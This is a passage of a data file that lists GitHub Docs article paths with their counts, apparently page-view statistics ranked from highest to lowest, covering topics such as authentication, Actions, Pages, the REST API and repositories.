37283} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile", "path_count": 37225} -{"path_article": "developers/overview/managing-deploy-keys", "path_count": 35243} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository", "path_count": 34255} -{"path_article": "get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain", "path_count": 34016} -{"path_article": "rest/overview/other-authentication-methods", "path_count": 33596} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username", "path_count": 32988} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa", "path_count": 32764} -{"path_article": "rest/overview", "path_count": 32691} -{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-npm-registry", "path_count": 32601} -{"path_article": "search-github/searching-on-github/searching-issues-and-pull-requests", "path_count": 32089} -{"path_article": "organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions", "path_count": 31965} -{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-docker-registry", "path_count": 31542} -{"path_article": "github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks", "path_count": 31434} -{"path_article": "repositories/creating-and-managing-repositories/deleting-a-repository", "path_count": 31182} -{"path_article": "actions/security-guides/encrypted-secrets", "path_count": 30640} -{"path_article": "pages/getting-started-with-github-pages/creating-a-github-pages-site", "path_count": 29189} -{"path_article": "desktop", "path_count": 29117} -{"path_article": "rest/overview/resources-in-the-rest-api", "path_count": 28668} -{"path_article": "rest/guides/getting-started-with-the-rest-api", "path_count": 28575} -{"path_article": "developers/apps/building-oauth-apps/authorizing-oauth-apps", "path_count": 28386} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches", "path_count": 27797} -{"path_article": "issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue", "path_count": 27437} -{"path_article": "actions/learn-github-actions/understanding-github-actions", "path_count": 27289} -{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site", "path_count": 27041} -{"path_article": "authentication/managing-commit-signature-verification/generating-a-new-gpg-key", "path_count": 27030} -{"path_article": "packages", "path_count": 26443} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication", "path_count": 26097} -{"path_article": "authentication/connecting-to-github-with-ssh/about-ssh", "path_count": 26028} -{"path_article": "github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork", "path_count": 25519} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility", "path_count": 25252} -{"path_article": "graphql", "path_count": 24906} -{"path_article": "repositories/releasing-projects-on-github/managing-releases-in-a-repository", "path_count": 24667} -{"path_article": "repositories", "path_count": 24300} -{"path_article": "actions/learn-github-actions/workflow-commands-for-github-actions", "path_count": 24169} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes", "path_count": 24065} -{"path_article": "actions/security-guides/automatic-token-authentication", "path_count": 24009} -{"path_article": "developers/webhooks-and-events/webhooks/about-webhooks", "path_count": 23952} -{"path_article": "actions/hosting-your-own-runners/about-self-hosted-runners", "path_count": 23845} -{"path_article": "rest/reference/users", "path_count": 23392} -{"path_article": "authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on", "path_count": 23286} -{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites", "path_count": 23098} -{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates", "path_count": 22894} -{"path_article": "github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github", "path_count": 22651} -{"path_article": "developers/webhooks-and-events/webhooks/webhook-events-and-payloads", "path_count": 22563} -{"path_article": "get-started/using-github/troubleshooting-connectivity-problems", "path_count": 22530} -{"path_article": "graphql/overview/explorer", "path_count": 22432} -{"path_article": "authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits", "path_count": 22417} -{"path_article": "actions/using-github-hosted-runners/about-github-hosted-runners", "path_count": 22150} -{"path_article": "authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on", "path_count": 21286} -{"path_article": "rest/reference/actions", "path_count": 21230} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch", "path_count": 21193} -{"path_article": "packages/learn-github-packages/introduction-to-github-packages", "path_count": 21112} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners", "path_count": 21099} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule", "path_count": 21089} -{"path_article": "authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository", "path_count": 21008} -{"path_article": "admin/release-notes", "path_count": 20995} -{"path_article": "actions/quickstart", "path_count": 20864} -{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-container-registry", "path_count": 20382} -{"path_article": "repositories/working-with-files/managing-large-files", "path_count": 20368} -{"path_article": "github/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits", "path_count": 19524} -{"path_article": "rest/reference/pulls", "path_count": 19399} -{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll", "path_count": 19207} -{"path_article": "codespaces/getting-started/quickstart", "path_count": 19065} -{"path_article": "get-started/getting-started-with-git/configuring-git-to-handle-line-endings", "path_count": 19039} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches", "path_count": 18908} -{"path_article": "repositories/creating-and-managing-repositories/duplicating-a-repository", "path_count": 18786} -{"path_article": "issues/trying-out-the-new-projects-experience", "path_count": 18612} -{"path_article": "billing/managing-your-github-billing-settings/setting-your-billing-email", "path_count": 18450} -{"path_article": "developers/apps/building-oauth-apps/scopes-for-oauth-apps", "path_count": 18324} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch", "path_count": 18214} -{"path_article": "github/site-policy", "path_count": 18205} -{"path_article": "developers", "path_count": 18163} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication", "path_count": 18156} -{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request", "path_count": 18062} -{"path_article": "repositories/creating-and-managing-repositories/transferring-a-repository", "path_count": 17965} -{"path_article": "organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization", "path_count": 17894} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit", "path_count": 17689} -{"path_article": "actions/learn-github-actions/reusing-workflows", "path_count": 17578} -{"path_article": "rest/reference/search", "path_count": 17529} -{"path_article": "github/writing-on-github/getting-started-with-writing-and-formatting-on-github", "path_count": 17333} -{"path_article": "authentication/authenticating-with-saml-single-sign-on", "path_count": 17223} -{"path_article": "get-started/using-git/getting-changes-from-a-remote-repository", "path_count": 17125} -{"path_article": "get-started/signing-up-for-github/signing-up-for-a-new-github-account", "path_count": 17121} -{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack", "path_count": 17101} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials", "path_count": 16722} -{"path_article": "get-started/getting-started-with-git/why-is-git-always-asking-for-my-password", "path_count": 16587} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods", "path_count": 16500} -{"path_article": "authentication/keeping-your-account-and-data-secure/about-authentication-to-github", "path_count": 16414} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository", "path_count": 16337} -{"path_article": "rest/reference", "path_count": 16269} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme", "path_count": 16112} -{"path_article": "search-github/searching-on-github/searching-code", "path_count": 15818} -{"path_article": "github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables", "path_count": 15691} -{"path_article": "actions/creating-actions/creating-a-docker-container-action", "path_count": 15665} -{"path_article": "authentication/managing-commit-signature-verification/signing-commits", "path_count": 15393} -{"path_article": "pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site", "path_count": 15242} -{"path_article": "authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps", "path_count": 14944} -{"path_article": "actions/creating-actions/metadata-syntax-for-github-actions", "path_count": 14881} -{"path_article": "authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account", "path_count": 14843} -{"path_article": "authentication/keeping-your-account-and-data-secure/creating-a-strong-password", "path_count": 14687} -{"path_article": "rest/reference/issues", "path_count": 14428} -{"path_article": "admin", "path_count": 14370} -{"path_article": "github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists", "path_count": 14353} -{"path_article": "actions/managing-workflow-runs/manually-running-a-workflow", "path_count": 14323} -{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository", "path_count": 14321} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account", "path_count": 13783} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account", "path_count": 13723} -{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request", "path_count": 13661} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally", "path_count": 13610} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews", "path_count": 13563} -{"path_article": "actions/learn-github-actions/managing-complex-workflows", "path_count": 13513} -{"path_article": "repositories/working-with-files/managing-large-files/about-large-files-on-github", "path_count": 13384} -{"path_article": "repositories/creating-and-managing-repositories/troubleshooting-cloning-errors", "path_count": 13304} -{"path_article": "actions/learn-github-actions/expressions", "path_count": 13287} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile", "path_count": 13160} -{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates", "path_count": 13060} -{"path_article": "github/writing-on-github", "path_count": 13037} -{"path_article": "get-started/onboarding/getting-started-with-your-github-account", "path_count": 12936} -{"path_article": "github/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork", "path_count": 12891} -{"path_article": "desktop/installing-and-configuring-github-desktop", "path_count": 12843} -{"path_article": "github-cli/github-cli/about-github-cli", "path_count": 12813} -{"path_article": "developers/overview/github-developer-program", "path_count": 12773} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork", "path_count": 12516} -{"path_article": "actions/automating-builds-and-tests/about-continuous-integration", "path_count": 12498} -{"path_article": "repositories/working-with-files/managing-files/deleting-files-in-a-repository", "path_count": 12424} -{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages", "path_count": 12326} -{"path_article": "get-started/using-github/supported-browsers", "path_count": 12310} -{"path_article": "repositories/creating-and-managing-repositories/creating-a-new-repository", "path_count": 12306} -{"path_article": "authentication/managing-commit-signature-verification/telling-git-about-your-signing-key", "path_count": 12238} -{"path_article": "billing/managing-billing-for-github-actions/about-billing-for-github-actions", "path_count": 12162} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop", "path_count": 12141} -{"path_article": "organizations", "path_count": 12057} -{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry", "path_count": 12030} -{"path_article": "rest/reference/orgs", "path_count": 11999} -{"path_article": "repositories/working-with-files/managing-large-files/installing-git-large-file-storage", "path_count": 11997} -{"path_article": "authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on", "path_count": 11976} -{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages", "path_count": 11964} -{"path_article": "actions/advanced-guides/storing-workflow-data-as-artifacts", "path_count": 11804} -{"path_article": "authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints", "path_count": 11798} -{"path_article": "pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser", "path_count": 11733} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch", "path_count": 11722} -{"path_article": "github/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls", "path_count": 11676} -{"path_article": "actions/learn-github-actions/finding-and-customizing-actions", "path_count": 11661} -{"path_article": "repositories/working-with-files/managing-files/renaming-a-file", "path_count": 11562} -{"path_article": "get-started/quickstart/github-glossary", "path_count": 11556} -{"path_article": "organizations/managing-peoples-access-to-your-organization-with-roles/permission-levels-for-an-organization", "path_count": 11529} -{"path_article": "graphql/reference/objects", "path_count": 11409} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review", "path_count": 11277} -{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository", "path_count": 11230} -{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications", "path_count": 11199} -{"path_article": "github/extending-github/git-automation-with-oauth-tokens", "path_count": 11081} -{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-nuget-registry", "path_count": 11030} -{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll", "path_count": 10963} -{"path_article": "organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization", "path_count": 10952} -{"path_article": "issues/trying-out-the-new-projects-experience/about-projects", "path_count": 10827} -{"path_article": "github/site-policy/github-community-guidelines", "path_count": 10825} -{"path_article": "developers/apps/getting-started-with-apps/about-apps", "path_count": 10754} -{"path_article": "get-started/learning-about-github/about-github-advanced-security", "path_count": 10690} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported", "path_count": 10513} -{"path_article": "rest/reference/git", "path_count": 10396} -{"path_article": "search-github/getting-started-with-searching-on-github/about-searching-on-github", "path_count": 10325} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request", "path_count": 10283} -{"path_article": "repositories/creating-and-managing-repositories/about-repositories", "path_count": 10271} -{"path_article": "github/site-policy/submitting-content-removal-requests", "path_count": 10250} -{"path_article": "communities/maintaining-your-safety-on-github/reporting-abuse-or-spam", "path_count": 10111} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request", "path_count": 10097} -{"path_article": "billing", "path_count": 9971} -{"path_article": "repositories/working-with-files/using-files/working-with-non-code-files", "path_count": 9953} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile", "path_count": 9927} -{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges", "path_count": 9881} -{"path_article": "developers/webhooks-and-events/webhooks/creating-webhooks", "path_count": 9872} -{"path_article": "admin/all-releases", "path_count": 9769} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts", "path_count": 9688} -{"path_article": "repositories/creating-and-managing-repositories/creating-a-repository-from-a-template", "path_count": 9663} -{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request", "path_count": 9661} -{"path_article": "rest/reference/checks", "path_count": 9617} -{"path_article": "actions/creating-actions/creating-a-composite-action", "path_count": 9611} -{"path_article": "actions/advanced-guides/caching-dependencies-to-speed-up-workflows", "path_count": 9602} -{"path_article": "code-security", "path_count": 9579} -{"path_article": "authentication/managing-commit-signature-verification/about-commit-signature-verification", "path_count": 9466} -{"path_article": "pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https", "path_count": 9345} -{"path_article": "actions/creating-actions/about-custom-actions", "path_count": 9327} -{"path_article": "repositories/creating-and-managing-repositories/renaming-a-repository", "path_count": 9325} -{"path_article": "developers/apps", "path_count": 9218} -{"path_article": "authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials", "path_count": 9209} -{"path_article": "actions/hosting-your-own-runners/adding-self-hosted-runners", "path_count": 9209} -{"path_article": "get-started/using-git/dealing-with-non-fast-forward-errors", "path_count": 9176} -{"path_article": "communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository", "path_count": 9169} -{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request", "path_count": 9163} -{"path_article": "organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization", "path_count": 9089} -{"path_article": "codespaces/the-githubdev-web-based-editor", "path_count": 9089} -{"path_article": "codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization", "path_count": 9065} -{"path_article": "authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys", "path_count": 9044} -{"path_article": "repositories/working-with-files/managing-large-files/configuring-git-large-file-storage", "path_count": 9037} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests", "path_count": 8941} -{"path_article": "issues/tracking-your-work-with-issues/creating-an-issue", "path_count": 8926} -{"path_article": "repositories/releasing-projects-on-github/about-releases", "path_count": 8814} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches", "path_count": 8808} -{"path_article": "get-started/using-git/resolving-merge-conflicts-after-a-git-rebase", "path_count": 8590} -{"path_article": "desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop", "path_count": 8562} -{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request", "path_count": 8425} -{"path_article": "issues/using-labels-and-milestones-to-track-work/managing-labels", "path_count": 8412} -{"path_article": "github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks", "path_count": 8394} -{"path_article": "communities/documenting-your-project-with-wikis/about-wikis", "path_count": 8232} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop", "path_count": 8204} -{"path_article": "developers/apps/building-github-apps/authenticating-with-github-apps", "path_count": 8146} -{"path_article": "actions/hosting-your-own-runners", "path_count": 8128} -{"path_article": "github/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork", "path_count": 8109} -{"path_article": "actions/learn-github-actions/usage-limits-billing-and-administration", "path_count": 8091} -{"path_article": "authentication/keeping-your-account-and-data-secure", "path_count": 8010} -{"path_article": "authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses", "path_count": 7994} -{"path_article": "discussions", "path_count": 7979} -{"path_article": "actions/learn-github-actions/essential-features-of-github-actions", "path_count": 7962} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop", "path_count": 7921} -{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github", "path_count": 7897} -{"path_article": "organizations/collaborating-with-groups-in-organizations/about-organizations", "path_count": 7868} -{"path_article": "github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts", "path_count": 7861} -{"path_article": "graphql/guides/forming-calls-with-graphql", "path_count": 7857} -{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line", "path_count": 7831} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github", "path_count": 7761} -{"path_article": "repositories/working-with-files/managing-files/moving-a-file-to-a-new-location", "path_count": 7736} -{"path_article": "actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge", "path_count": 7693} -{"path_article": "authentication/troubleshooting-ssh/using-ssh-over-the-https-port", "path_count": 7638} -{"path_article": "github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors", "path_count": 7604} -{"path_article": "issues/tracking-your-work-with-issues/about-issues", "path_count": 7598} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request", "path_count": 7588} -{"path_article": "issues/tracking-your-work-with-issues/about-task-lists", "path_count": 7559} -{"path_article": "github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user", "path_count": 7508} -{"path_article": "search-github/getting-started-with-searching-on-github/understanding-the-search-syntax", "path_count": 7504} -{"path_article": "pages/getting-started-with-github-pages/unpublishing-a-github-pages-site", "path_count": 7450} -{"path_article": "organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team", "path_count": 7448} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences", "path_count": 7359} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history", "path_count": 7319} -{"path_article": "actions/deployment/using-environments-for-deployment", "path_count": 7302} -{"path_article": "rest/reference/activity", "path_count": 7284} -{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github", "path_count": 7266} -{"path_article": "get-started/using-github/keyboard-shortcuts", "path_count": 7250} -{"path_article": "get-started/quickstart/git-and-github-learning-resources", "path_count": 7246} -{"path_article": "actions/publishing-packages/publishing-docker-images", "path_count": 7221} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests", "path_count": 7206} -{"path_article": "rest/reference/apps", "path_count": 7185} -{"path_article": "organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch", "path_count": 7174} -{"path_article": "github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token", "path_count": 7166} -{"path_article": "authentication/troubleshooting-ssh", "path_count": 7132} -{"path_article": "communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages", "path_count": 7128} -{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates", "path_count": 7029} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request", "path_count": 7020} -{"path_article": "rest/guides", "path_count": 7018} -{"path_article": "billing/managing-billing-for-github-codespaces/about-billing-for-codespaces", "path_count": 6976} -{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning", "path_count": 6965} -{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll", "path_count": 6959} -{"path_article": "github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github", "path_count": 6938} -{"path_article": "admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server", "path_count": 6910} -{"path_article": "codespaces/customizing-your-codespace/configuring-codespaces-for-your-project", "path_count": 6907} -{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards", "path_count": 6893} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository", "path_count": 6859} -{"path_article": "github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet", "path_count": 6829} -{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates", "path_count": 6815} -{"path_article": "issues", "path_count": 6812} -{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics", "path_count": 6734} -{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer", "path_count": 6712} -{"path_article": "education", "path_count": 6711} -{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll", "path_count": 6700} -{"path_article": "github/collaborating-with-pull-requests/working-with-forks/about-forks", "path_count": 6668} -{"path_article": "github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent", "path_count": 6634} -{"path_article": "repositories/creating-and-managing-repositories/creating-a-template-repository", "path_count": 6614} -{"path_article": "actions/creating-actions", "path_count": 6609} -{"path_article": "github/site-policy/dmca-takedown-policy", "path_count": 6597} -{"path_article": "actions/learn-github-actions/using-workflow-templates", "path_count": 6587} -{"path_article": "search-github/searching-on-github/searching-for-repositories", "path_count": 6560} -{"path_article": "github/writing-on-github/working-with-advanced-formatting/attaching-files", "path_count": 6549} -{"path_article": "developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps", "path_count": 6540} -{"path_article": "repositories/working-with-files/managing-large-files/about-git-large-file-storage", "path_count": 6501} -{"path_article": "get-started/quickstart/github-flow", "path_count": 6482} -{"path_article": "rest/overview/api-previews", "path_count": 6288} -{"path_article": "repositories/working-with-files/managing-files/editing-files", "path_count": 6278} -{"path_article": "rest/overview/libraries", "path_count": 6256} -{"path_article": "github/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views", "path_count": 6247} -{"path_article": "github-cli", "path_count": 6223} -{"path_article": "repositories/working-with-files/managing-files/creating-new-files", "path_count": 6208} -{"path_article": "actions/managing-workflow-runs/approving-workflow-runs-from-public-forks", "path_count": 6161} -{"path_article": "developers/overview/using-ssh-agent-forwarding", "path_count": 6156} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email", "path_count": 6128} -{"path_article": "repositories/releasing-projects-on-github/automatically-generated-release-notes", "path_count": 6115} -{"path_article": "pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site", "path_count": 6103} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile", "path_count": 6082} -{"path_article": "packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions", "path_count": 6063} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit", "path_count": 6034} -{"path_article": "actions/creating-actions/creating-a-javascript-action", "path_count": 6026} -{"path_article": "organizations/organizing-members-into-teams", "path_count": 5992} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account", "path_count": 5959} -{"path_article": "authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase", "path_count": 5912} -{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project", "path_count": 5855} -{"path_article": "actions/learn-github-actions/creating-workflow-templates", "path_count": 5846} -{"path_article": "authentication/keeping-your-account-and-data-secure/sudo-mode", "path_count": 5788} -{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates", "path_count": 5771} -{"path_article": "actions/security-guides/security-hardening-for-github-actions", "path_count": 5771} -{"path_article": "developers/apps/building-oauth-apps/creating-an-oauth-app", "path_count": 5758} -{"path_article": "rest/reference/permissions-required-for-github-apps", "path_count": 5748} -{"path_article": "rest/guides/basics-of-authentication", "path_count": 5741} -{"path_article": "repositories/creating-and-managing-repositories/restoring-a-deleted-repository", "path_count": 5698} -{"path_article": "rest/overview/media-types", "path_count": 5695} -{"path_article": "authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys", "path_count": 5689} -{"path_article": "actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service", "path_count": 5629} -{"path_article": "github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests", "path_count": 5626} -{"path_article": "communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors", "path_count": 5622} -{"path_article": "developers/apps/building-github-apps/creating-a-github-app", "path_count": 5579} -{"path_article": "code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph", "path_count": 5516} -{"path_article": "developers/apps/managing-github-apps/installing-github-apps", "path_count": 5487} -{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies", "path_count": 5450} -{"path_article": "get-started/using-github/github-for-mobile", "path_count": 5424} -{"path_article": "code-security/secret-scanning/about-secret-scanning", "path_count": 5364} -{"path_article": "codespaces/overview", "path_count": 5355} -{"path_article": "github/site-policy/github-terms-for-additional-products-and-features", "path_count": 5321} -{"path_article": "desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop", "path_count": 5300} -{"path_article": "packages/learn-github-packages/about-permissions-for-github-packages", "path_count": 5290} -{"path_article": "rest/reference/projects", "path_count": 5284} -{"path_article": "search-github/searching-on-github/searching-users", "path_count": 5202} -{"path_article": "actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization", "path_count": 5174} -{"path_article": "organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization", "path_count": 5157} -{"path_article": "repositories/creating-and-managing-repositories", "path_count": 5133} -{"path_article": "rest/reference/gists", "path_count": 5123} -{"path_article": "rest/reference/teams", "path_count": 5103} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings", "path_count": 5089} -{"path_article": 